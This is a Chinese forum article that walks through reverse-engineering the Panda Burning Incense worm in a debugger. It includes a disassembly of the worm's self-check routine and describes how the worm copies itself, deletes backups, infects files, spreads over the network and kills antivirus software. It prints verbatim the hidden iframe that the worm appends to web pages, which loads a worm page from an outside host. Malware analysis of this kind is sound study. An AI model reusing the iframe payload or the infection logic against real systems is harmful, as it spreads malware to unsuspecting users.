熊貓燒香病毒逆向過程及其分析思路

2021-02-13 看雪學院

本文為看雪論壇優秀文章

看雪論壇作者ID:碼小芹

最近學校通知不開學,網課也不想上。學習逆向也有段時間了,就想著找點東西練一下水平不高。找了個病毒分析一比較經典的病毒分析。我看網上有很多關於熊貓燒香病毒的分析,但都是側重於對病毒功能以及影響的總結,具體分析方法並未提及。本文主要側重於對熊貓燒香病毒逆向分析過程中的思路和方法的分享。




分析工具以及環境
詳細分析過程與思路
1. 查看文件基本信息在虛擬機中用 PEID 打開病毒樣本文件發現其無殼並且是 Delphi 編寫的,Delphi 編譯器編譯的程序有幾個特點。
第一: 其函數默認調用約定為 Register,特點為函數參數是通過寄存器傳入的。
第二: 一般 Delphi 其字符串存儲地址的負偏移一個 dword 長度處,存放字符串的長度。


2. 打開OD載入病毒樣本文件來到程序入口點後我們進行進一步分析,我們看到入口點處有 函數① 和 函數②,其中函數②連續調用了三次。我們 F8 向下執行,並分別進入兩個函數分析其功能。
進入函數①我們發現其主要功能就是調用 GetModuleHandleA() 獲得程序基地址(及程序實例句柄)。

向下繼續分析函數②,在調用函數②時我們發現其傳入了兩個參數,我們在數據窗口中分析發現參數有一個為一串字符串:「 ***武*漢*男*生*感*染*下*載*者*** ".。我們 F7 進入函數內部分析發現其就是將 eax 參數地址下的字符串進行複製。
所以我們知道了這三個參數是字符串複製函數,F8 向下步過這些函數後。他們把字符串都複製到了一塊連續的內存中。我們可以在數據窗口中觀察這些字符的內容。

我們接著往下分析,發現兩段相同的代碼段,只是參數不同。也就是當程序執行完函數0x405360函數0x404018後,如果 je 不成立則結束進程(猜測應該為病毒程序的自效驗部分)。我們先分析函數0x405360,函數的兩個參數分別指向兩個字符串一個是「xboy」,另一個如下。將這連個字符串經過如下算法加密後得到一個字符串為「 ***武*漢*男*生*感*染*下*載*者*** "存到0x009000c0地址處。

00405360  /$  55            push ebp00405361  |.  8BEC          mov ebp,esp00405363  |.  83C4 E8       add esp,-0x1800405366  |.  53            push ebx00405367  |.  56            push esi00405368  |.  57            push edi00405369  |.  33DB          xor ebx,ebx0040536B  |.  895D E8       mov [local.6],ebx0040536E  |.  895D F0       mov [local.4],ebx00405371  |.  895D EC       mov [local.5],ebx00405374  |.  894D F4       mov [local.3],ecx00405377  |.  8955 F8       mov [local.2],edx0040537A  |.  8945 FC       mov [local.1],eax0040537D  |.  8B45 FC       mov eax,[local.1]00405380  |.  E8 37EDFFFF   call 004040BC00405385  |.  8B45 F8       mov eax,[local.2]00405388  |.  E8 2FEDFFFF   call 004040BC0040538D  |.  33C0          xor eax,eax0040538F  |.  55            push ebp00405390  |.  68 4A544000   push 0x40544A00405395  |.  64:FF30       push dword ptr fs:[eax]00405398  |.  64:8920       mov dword ptr fs:[eax],esp0040539B  |.  837D FC 00    cmp [local.1],0x00040539F  |.  75 0A         jnz X004053AB004053A1  |.  8B45 F4       mov eax,[local.3]004053A4  |.  E8 9BE8FFFF   call 00403C44004053A9  |.  EB 77         jmp X00405422004053AB  |>  8D45 EC       lea eax,[local.5]004053AE  |.  8B55 F8       mov edx,[local.2]004053B1  |.  E8 26E9FFFF   call 00403CDC004053B6  |.  8D45 F0       lea eax,[local.4]004053B9  |.  E8 86E8FFFF   call 00403C44004053BE  |.  8B45 FC       mov eax,[local.1]004053C1  |.  E8 06EBFFFF   call 00403ECC                                      ;  strlen(字符串1)004053C6  |.  8BF0          mov esi,eax                                        ;  esi = eax004053C8  |.  85F6          test esi,esi                                       ;  if(esi == 0)004053CA  |.  7E 4B         jle X00405417                                      ;      break004053CC  |.  BB 01000000   mov ebx,0x1                                        ;  ebx = 1004053D1  |>  8B45 EC       /mov eax,[local.5]                                 ;  do{004053D4  |.  E8 F3EAFFFF   |call 00403ECC                                     ;  strlen(字符串2)004053D9  |.  50            |push eax004053DA  |.  8BC3          |mov eax,ebx                                       ;      eax = ebx004053DC  |.  5A            |pop edx                                           ;      edx = eax004053DD  |.  8BCA          |mov ecx,edx                                       ;      ecx = edx004053DF  |.  99            |cdq004053E0  |.  F7F9          |idiv ecx                                          ;      edx = eax % ecx004053E2  |.  8BFA          |mov edi,edx                                       ;      edi = edx004053E4  |.  47            |inc edi                                           ;      edi++004053E5  |.  8B45 EC       |mov eax,[local.5]004053E8  |.  0FB64438 FF   |movzx eax,byte ptr ds:[eax+edi-0x1]               ;      eax = str1[edi - 1]004053ED  |.  B9 0A000000   |mov ecx,0xA                                       ;      ecx = 10004053F2  |.  33D2          |xor edx,edx                                       ;      edx = 0004053F4  |.  F7F1          |div ecx                                           ;      edx = eax % ecx004053F6  |.  8B45 FC       |mov eax,[local.1]004053F9  |.  0FB64418 FF   |movzx eax,byte ptr ds:[eax+ebx-0x1]               ;      eax = str2[edi - 1]004053FE  |.  33D0          |xor edx,eax                                       ;      edx = edx ^ eax00405400  |.  8D45 E8       |lea eax,[local.6]00405403  |.  E8 24EAFFFF   |call 00403E2C                                     ;      eax[ebx] = edx00405408  |.  8B55 E8       |mov edx,[local.6]0040540B  |.  8D45 F0       |lea eax,[local.4]0040540E  |.  E8 C1EAFFFF   |call 00403ED400405413  |.  43            |inc ebx                                           ;      ebx++00405414  |.  4E            |dec esi                                           ;      esi--00405415  |.^ 75 BA         \jnz X004053D1                                     ;  }00405417  |>  8B45 F4       mov eax,[local.3]0040541A  |.  8B55 F0       mov edx,[local.4]

我們接著分析函數0x404018,我們發現其是比較兩個參數 eax 所指向的字符串和edx所指向的字符串是否相等,而此時eax指向的字符串剛好是加密函數0x405360所產生的在0x009000c0地址下的字符串。而 edx 指向的地址0x0090000c地址下的字符串也剛好為此字符串,二者相當。所以不會結束進程。
現在我們知道了函數0x405360是一個加密函數,而函數0x404018是一個字符串比較函數。從而判斷源文件是否被修改。
一共有兩處這種判斷,我們繼續往下動態分析得,第二處是將字符串「whboy」與如下字符串經過函數0x405360加密後得到第二張圖中的字符串。

程序通過這兩處自效驗過程後,繼續運行我們繼續向下分析發現程序在調用三個函數之後就會進入消息循環,所以我們可以得知這三個函數是這個病毒的主要功能。

我們F7進入第一個函數,然後我們通過動態調試進入每一個 Call 分析其功能,最後分析如下。其會先調用GetMoudleFileNameA( )函數獲得程序完整路徑,然後在完整路徑的基礎上去掉程序名得到一個字符串後與 Desktep.ini 連接。並通過FindFirstFileA( )函數尋找此文件。我們繼續往下分析,其會調用 ReadFile() 把自己讀到內存中,然後調用GetFileSize() 獲得文件的大小接著其會判斷文件的最後一個字節是不是等於1,意思是等於1就證明其被感染文件隨之去執行上方一部分代碼塊,否則則繼續執行。
接著往下分析,程序會會獲取系統路徑並與 drivers 和 spcolsv.exe 連接成路徑並與程序自身路徑比較,看是否相等,相等則會跳轉。

因為程序路徑與此路徑不匹配,所以其不會跳轉。接下來程序會利用OpenProcrss()函數來提成程序的權限,然後會調用CopyFile()函數把自身複製一份到系統路徑的drivers文件夾下,並命名為spcolsv.exe. 創建完之後程序會調用WinExec( )運行此程序,並結束進程。如此我們知道了,panda.exe 主要是為了在系統目錄的 driver 文件夾下創建病毒的副本 spcolsv.exe 文件並運行它。這樣其在上方判斷路徑是否相等時就會成立,從而使程序繼續往下執行。
接下來我們可以恢復虛擬機的初始快照,並再次分析病毒樣本,當我們運行來到路徑判斷處時我們只要把 ZF 置為 0,即可讓程序認為自己就是系統目錄drivers 文件夾下的 spcolsv.exe 程序了,接著我們就可以繼續往下分析了。接著分析後我們第一個函數運行返回了。我們緊接著可以分析第二個功能函數了。
我們 F7 進入第二個函數後發現其調用了3個函數後返回,那我們就一個一個分析。我們 F7 繼續進入第一個函數後,返現此函數僅僅調用了 CreateThread( ) 創建了一個線程。線程函數為0x0040A6C8函數,我們可以在此函數入口處下斷點
我們這裡使用一個技巧來完成多線程的調試,那就是我們可以在運行完此函數返回後直接跳過後兩個函數,這樣第二個功能函數返回後,我們也不執行第三個功能函數,直接讓程序進入消息循環。這樣一來方便我們調試此線程。當程序返回消息循環後我們 F9 運行程序,這是那個新創建的線程已經啟動,並且程序斷在了我們設置的線程函數入口斷點處。

接著我們反彙編查看 0x004076b4 函數,發現其調用了 GetDriveType( )。我們 F7 進入動態調試,我們發現其會從A遍歷到Z盤,把存在的盤符保存到0x9c0160 地址處。接著會把存在的盤符與「:\」連接在一起。接著會調用0x4094a4函數,反彙編查看此函數時發現可疑。我們 F7 進入,進一步分析。進一步分析我們發現其會把剛才找到存在的盤符與「%20*.*%20」連接後,調用%20FindFirstFileA( )尋找任意文件,如果找不到文件就跳轉結束。(因為此時肯定有文件,所以 F8 運行其一定不會跳轉,接著我們進一步往下分析)當前尋找到文件後就會獲得其擴展名,然後與「GHO」做比較,如果後綴等於「GHO」的文件統統調用 DeleteFile( ) 刪除(GHO文件時系統備份文件,其是防止系統恢復)。

然後其又會比較找到的文件是否為 setup.exe 或者 NTDETECT.COM,如果為這兩個文件的話則直接去尋找下一個文件,不做任何操作。如果不是上述兩個文件則繼續判斷文件的後綴,如果是 exe,scr,pif,com 文件則調用0x0040800函數,如果是 htm,html,asp,php,jsp,aspx 文件的話則會調用0x00407adc函數。我們這裡在這裡判斷是否為 exe 文件處下斷點,運行程序後當尋找到磁碟中的 cmdline.exe 文件後其會進入第一類函數中進行感染文件,我們 F7 進入後會分析。其會先拍攝進程快照去尋找待感染的文件是否運行,如果已運行則放棄感染。接著會判斷查找到的文件是否為正在運行的程序,如果相等則直接返回。接著其會把尋找的到的 exe 文件讀到內存中,並且設置文件屬性。
然後會將正在運行的病毒樣本文件複製為待感染的 exe 文件。這樣一來現在此 exe 文件現在就是病毒文件了。

然後往下通過動態分析得:其會獲得原文件的大小然後和文件名與字符 whboy 連接在一起並以1結尾,構成一段字符串。然後一次在病毒程序後追加寫入原文件和上述標誌信息。

接著我們利用上述思路分析0x00407adc函數得出,其是通過將主要將字符串「\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>」添加到文件末尾而感染網絡文件的。
分析完第二功能函數的第一個函數後,我們接著去分析第二個函數。我們從新加載程序,並且我們直接設eip為第二個功能函數的第二個函數。這樣便於分析,不會受到前面函數的影響。F7 進入此函數後發現設置了一個計時器,那麼我們為了方便分析此計時器回調函數幹了什麼,我們同樣先在計時器回調函數處下斷點,然後在執行完此函數後直接返回到消息循環中。我們往下分析此函數,其會先在已存在的盤的根目錄下尋找 setup.exe 文件與 autorun.inf 文件。然後如果沒有尋找到此文件就跳轉。跟著跳轉後,其會把正在運行的病毒文件複製為 c:\setup.exe。

隨後又創建 c:\autorun.inf文件。

往文件中寫入一下內容後,將 setup.exe 與 autorun.inf 的屬性設為隱藏。

緊接著我們在分析第二個功能函數的最後一個函數,同樣我們重新載入程序,並且直接來到此函數處,不運行前面那幾個功能函數。

F7 進入此函數,發現其會創建線程,而且是循環創建10次。

為了便於對此線程回調函數的分析,我們在其執行一次創建後就讓其返回到消息循環中。

並在線程回調函數處下斷點,運行程序將會斷在此斷點處。

程序停到此線程回調函數入口點後,我們進一步分析。發現此函數會通過埠139和埠445進行區域網傳播。
這樣此函數就分析完了,到此為止我們把前兩個功能函數已經分析完了,下面分析第三個功能函數我們還是重新載入程序後,直接設置 eip 來到第三個功能函數處。然後我們F7 進入函數後發現其主要功能就是設置了4個計時器。通過四個計時器回調函數來完成具體的功能。

我們還是採用以前的思路,在其計時器回調函數處下斷點後我們運行完一個計時器設置函數後直接來到消息循環處。但是我們要注意其有的計時器設置得時間周期較長,我們可以在調用時把時間周期參數改小點。進入函數後我們發現函數調用了0x00406f3c函數,進入後發現是創建了一個線程。我們在線程回調函數處下斷點並採用老方法來到斷點處。

來到斷點處我們發現其共有3種操作。

一是遍歷殺毒軟體並關閉:

三是關閉任務管理器等一些程序:

分析完線程函數後我們回到主線程繼續分析其調用RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20RegCloseKey()來設置兩個啟動項,第一個是用來在開機時自動啟動病毒。另一個是設置使用戶無法查看隱藏文件。

接著重新載入程序來到第二個計時器回調函數處。我們在調用第二個計時器設置函數時我們應把其時間周期參數該小點,改為1000(1s)。然後再分析運行程序。

程序來到計時器回調函數中,發現函數實際是創建了一個線程。我們還採用直接在此線程回調函數處下斷點,然後我們運行程序。
我們運行程序後,程序會停在線程回調函數的斷點處。接下來我們就可以對此線程回調函數進一步分析。我們發現其會先調用0x40c728函數將一段密文與「xboy」進行一定的運算,算法和文件自效驗時用的一樣。最後得到一個網址:

接下來其會調用函數0x40c81c,反彙編查看發現可疑,我們 F7 進入分析。發現其實際是從剛才產生的那個網址上試圖從網站讀取到網頁原始碼並且運行代碼。當程序停在第三個計時回調函數處時,我們發現其創建了兩個線程。我們反彙編查看第二個線程的回調函數發現其利用 cmd 命令刪除了共享文件。我們在線程回調函數下斷點,運行程序來到回調函數處。我們發現此回調函數主要是刪除一些服務和殺毒軟體得啟動項(瑞星了什麼的)。
該文就是我在分析病毒時的思路,沒用 IDA 就是想鍛鍊鍛鍊反彙編代碼的能力。動態調試結合 IDA 會更方便分析。

看雪ID:碼小芹

https://bbs.pediy.com/user-861998.htm

  *本文由看雪論壇 碼小芹 原創,轉載請註明來自看雪社區。

好書推薦

相關焦點

  • 用逆向分析法分析2020年中考動點真題
    通過今日中考真題的分析,我們重點學習以前介紹過的題目思路分析方法:逆向分析法.同時注意解題方法的總結.【原創】揭秘最基本的題目思路分析方法2020年遵義中考真題:如圖,在邊長為4的正方形ABCD中,點E為對角線AC上一動點(點E與點
  • 逆向分析Cobalt Strike安裝後門
    非常適用於團隊作戰,Cobalt Strike集成了埠轉發、服務掃描,自動化溢出,多模式埠監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等,至於Cobalt Strike詳細怎麼玩,我就不介紹了,網上很多教程,功能也很強大,我主要想從逆向的角度去分析一下Cobalt Strike
  • 揭秘中國黑客大事件「熊貓燒香」全過程
    他們分析熊貓的新變種, 並在卡卡社區反病毒論壇上,貼出一份份詳細的病毒分析報告。他們的舉動,吸引了病毒作者「武漢男孩」的注意力。在 1 月初一份病毒變種中,神秘留言再次更新。「感謝 mopery 對此木馬的關注。」留言中新添的這句話,讓 mopery 啼笑皆非。
  • SARS-CoV的非自然起源和逆向進化
    以著名的愛滋病毒(HIV)為例,它從猴免疫缺陷病毒 (SIV)進化而來,其貯存宿主為黑猩猩,其祖先的出現時間約為1492±200年。2010年9月17日,《科學》發表了一篇論文,研究人員分析比奧科島猴免疫缺陷病毒的遺傳基因,發現該病毒至少存在了32000到75000年時間。
  • 市場營銷專業本科畢業論文選題分析過程(實例分析)
    最近有一位市場營銷專業的同學向我求助畢業論文選題,他也說不出自己的實際想法,只是想寫中小企業市場拓展管理方面的,交談後根據他的想法我寫了一篇畢業論文選題分析文檔給他。不過由於學校要求的改變,最終確定的選題是關於兒童市場教育類產品營銷策略方面的,本著不浪費的原則,這個沒用到的選題就分享給大家。
  • 邏輯思維&分析方法
    從中發掘價值則是數據分析的目的。 在數據分析中,其過程是與邏輯歸納相近的,過程如下: 提出問題分析問題提出假設驗證假設輸出結論 只有具備了良好邏輯思維,才能更好的幫助我們數據分析。
  • [系統安全] 二.如何學好逆向分析及呂布傳遊戲逆向案例
    系統安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文作者先帶領大家學習什麼是逆向分析;這篇文章將繼續普及逆向分析基礎知識,告訴大家如何學好逆向分析,並結合作者經驗給出逆向分析的路線推薦,最後給出呂布傳遊戲逆向案例。
  • 逆向入門分析實戰(一)
    本次我學習的案例是木馬和病毒常用的一個技術:確保只有一個病毒或者木馬在系統中運行,即運行單一實例。對於病毒和木馬而言,如果多次重複運行,會增加暴露的風險。所以要確保系統中只運行一個病毒或木馬的進程。1.2.逆向分析下面我們就對這個程序進行逆向分析,我們需要對主函數和子函數分別進行逆向分析,這次先分析主函數。
  • 研究生與導師的合作衝突及其治理思路
    治理合作衝突的思路為,師生追求有回報的長期合作,加深理解溝通,尋求互惠空間,多方面完善教育制度體系,儘可能突破人性和資源約束。 作者簡介 陳星,浙江師範大學教師教育學院副教授,金華 321004。
  • 《逆向投資策略》課程精華
    作者說逆向投資,並不是說什麼事或什麼時候都要和大眾對著幹,商場著火,大家都往外跑,你要進去撿黃金,恐怕不被燒傷也要被踩死。2015年股市熔斷時,市場狂跌不止,這時候逆勢接盤恐怕也只能剩半條命。逆向投資要以經濟學為基礎,通過研究市場行為背後基於的原因,去判斷是否是逆向的機會,比如2015年熔斷過後,市場死一樣沉寂,這時候才有可能出現逆向的機會。
  • 弗雷德·科恩:計算機病毒之父的逆向抗爭
    [核心提示] 在發明了「計算機病毒」之後的歲月裡,弗雷曼·科恩就一直致力於防止電腦受到病毒的侵襲。他以另一種方式構築著網際網路的安全圍牆,挽救由於計算機病毒的入侵帶來的難以估量的損失。想近距離接觸弗雷曼·科恩?極客公園給你機會!即日起至9月23日17:00,微信回復極客公園公共帳號 你的姓名+職業+聯繫方式,符合要求的同學將入選中國網際網路安全大會觀察團!
  • 惡意軟體分析資源集合
    2、 IDA Pro腳本-可以在代碼分析過程中完成一些自動化的工作;3、 IDA Pro插件-輔助研究人員進行代碼分析;4、 惡意軟體分析資源列表-提供更多的惡意軟體分析資源;5、 常用工具及使用指南-白皮書啦!
  • 入門 IOS 逆向從我的經歷說起
    本文作者:Peterpan0927(信安之路病毒分析小組成員
  • 21個國家377個全基因組分析:探究新冠病毒起源
    NASA和歐洲航天局收集的衛星數據顯示,全國範圍內大氣中二氧化氮(NO2,是化石燃料燃燒過程中產生的)含量急劇下降。初步分析表明,農曆新年後的NO2汙染比往年同期減少了10–30%。第四張圖是新冠病毒與SARS時間表對比。SARS疫情持續了三個月後才被確認為是一種獨特的疾病。
  • 騰訊反病毒實驗室對GandCrab勒索病毒家族的總結分析
    與以往版本的該家族的勒索病毒相比,該版本並沒有直接指明贖金金額,而是要求用戶使用Tor網絡或者Jabber即時通訊軟體獲得。GandCrab勒索感染後,顯示的勒索界面如下所示:在每個文件夾下都會釋放GDCB-DECRYPT.txt,用來描述解密過程。勒索說明文件如下:
  • 14年前肆虐全國的「熊貓燒香」病毒有多厲害?
    2007年初,一個中專畢業在水泥廠打工的年輕人,用一個叫「熊貓燒香」的病毒瘋狂肆虐了全國幾百萬的電腦用戶。 熊貓燒香 2006年的12月份,一種電腦病毒突然在中國的網際網路大規模爆發。
  • 燒香病毒or魔性表情包 熊貓與網際網路的那些糾葛
    時間撥回到2006年末。那時的計算機課,其實真的沒有多少人在好好學習。2007年初,湖北仙桃市公安局接報,該市「江漢熱線」因感染熊貓燒香病毒而網絡癱瘓。但是公安局連自己系統內的電腦都自顧不暇,有的派出所甚至無一倖免,所有電腦全部中招,連二代身份證都辦不了,基層工作基本處於癱瘓狀態。
  • 那些逆向而行的「天使」,奔走在與病毒距離最近的地方
    他們逆向而行,奔走在與病毒距離最近的地方。在他們中間,每天都上演著令人淚目的感動故事:醫生爸爸馳援武漢,全國網友幫他孩子起名;省直三院的 "90 後 " 情侶共同寫下 " 請戰書 ",每天視頻鼓勁加油,相約回家後就結婚;平頂山隊隊長記得每個隊員的生日,在樓道裡為戰友過生日;第二批支援湖北醫療隊臨時黨總支成立,十多名新鄉隊隊員集體寫下入黨申請書,讓黨旗在戰 " 疫 " 一線高高飄揚。
  • 史上最厲害,影響最惡劣的4大電腦病毒,你遇到過幾個?
    計算機病毒這一概念最早可以追溯到上世紀70年代美國作家雷恩出版的《P1的青春》一書中。書中構思了一種能夠自我複製、利用通信進行傳播的電腦程式,被命名為計算機病毒。雖然近兩年,我們很少聽聞計算機大規模中毒的事件。但在數十年的發展中,曾經出現過不少令人聞風喪膽的計算機病毒。
  • 武器裝備體系設計過程框架及步驟分析
    WSIDM方法的基本思路是:緊密圍繞體系需求開展頂層設計,以作戰任務為主線,以能力為中心完成作戰流程分析和構建;根據體系任務-能力開展相應的體系組成成員功能和性能配置,並通過不斷的迭代和優化加以完善;並以組成成員為單位開展流程設計,確定組成系統之間的接口,根據接口開展體系信息模型設計;在綜合多任務-能力剖面下的體系作戰使用流程的基礎上,開展體系配置設計,最終完成目標體系的部署和集成裝配